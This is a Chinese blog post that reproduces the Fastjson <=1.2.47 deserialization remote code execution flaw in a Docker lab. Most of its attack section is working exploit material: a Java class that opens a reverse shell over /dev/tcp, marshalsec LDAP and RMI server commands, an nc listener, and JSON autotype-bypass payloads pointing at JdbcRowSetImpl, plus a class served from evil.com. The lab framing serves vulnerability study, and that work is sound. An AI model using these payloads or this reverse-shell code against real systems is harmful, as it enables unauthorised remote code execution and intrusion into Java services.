zoukankan      html  css  js  c++  java
  • Fastjson<=1.2.47远程命令执行漏洞复现

    0x01 简介

    fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

    0x02 漏洞概述

    首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

    0x03 影响版本

    Fastjson1.2.47以及之前的版本

    0x04 环境搭建

    docker pull initidc/fastjson1.2.47_rce  或者去https://vulhub.org/#/environments/fastjson/1.2.47-rce/下载docker环境

    需要准备的tools

    jdk8u181(下载地址https://www.oracle.com/java/technologies/javase-jdk8-downloads.html)、marshalsec(下载地址:https://github.com/MagicZer0/fastjson-rce-exploit)、Fastjson1.2.47

    0x05 漏洞利用

    0x05.1 LDAP方式漏洞利用

    1、编译生成Exploit.class    --使用方法:下载好jdk后直接使用命令javac Exploit.java 这样就会生成一个Exploit.class

    首先将以下代码保存为Exploit.java(反弹shell命令在代码内,可自行调整)

    import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class Exploit{
        public Exploit() throws Exception {
            Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
            InputStream is = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
    
            String line;
            while((line = reader.readLine()) != null) {
                System.out.println(line);
            }
    
            p.waitFor();
            is.close();
            reader.close();
            p.destroy();
        }
    
        public static void main(String[] args) throws Exception {
        }
    }
    

    然后编译Exploit.java(javac Exploit.java)会生成一个Exploit.class文件
    将编译生成的Exploit.class文件放至web目录下,即浏览器访问会下载

    2、开启三个监听窗口

    第一个,使用python搭建一个临时的web服务

    python -m SimpleHTTPServer  88

    访问后如下:


    Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件
    第二个,服务器使用marshalsec开启LDAP服务监听:

    [root@master heixiuheixiu]# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:88/#Exploit 9999
    Listening on 0.0.0.0:9999
    

    Ps:使用marshalsec工具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器

    第三个,nc监听

    nc -lvp 1888
    

    Ps:这是最终得到shell的窗口

    访问fastjson页面Burp发包,改为POST请求,使用EXP

    {
        "name":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "x":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://ip:9999/Exploit",
            "autoCommit":true
        }
     
    }
    

    注意:要将content-type改成application/json

    发送后可以看到第三个窗口成功得到shell

     

    0x05.2 RMI方式漏洞利用

    工具和环境和5.1一样

    首先编译并上传命令执行代码,如http://evil.com/TouchFile.class

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }

    然后编译TouchFile.java(javac TouchFile.java)会生成一个TouchFile.class文件
    将编译生成的TouchFile.class文件放至web目录下,即浏览器访问会下载

    2、开启两个监听窗口

    第一个,使用python搭建一个临时的web服务

    python -m SimpleHTTPServer  88






    第二个端口

    然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:88/#TouchFile" 9999

    向靶场服务器发送Payload:

    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://ip:9999/TouchFile",
            "autoCommit":true
        }
    }



     



    可以看到success文件已创建成功


    备注:



    参考文章链接:https://www.cnblogs.com/nul1/p/12747709.html
  • 相关阅读:
    .netcore下Dapper helper类
    C#各版本新增加功能(系列文章)
    MySQL 查询连续登陆7天以上的用户
    MySQL 8.0版本 自动排序函数dense_rank() over()、rank() over()、row_num() over()用法和区别
    MYSQL 查看锁的方式
    MYSQL 回表查询原理,利用联合索引实现索引覆盖
    ES查询某个字段分词结果
    maven 安装和配置
    Java 注解
    Java 异常
  • 原文地址:https://www.cnblogs.com/1008612mrzou/p/14159183.html
Copyright © 2011-2022 走看看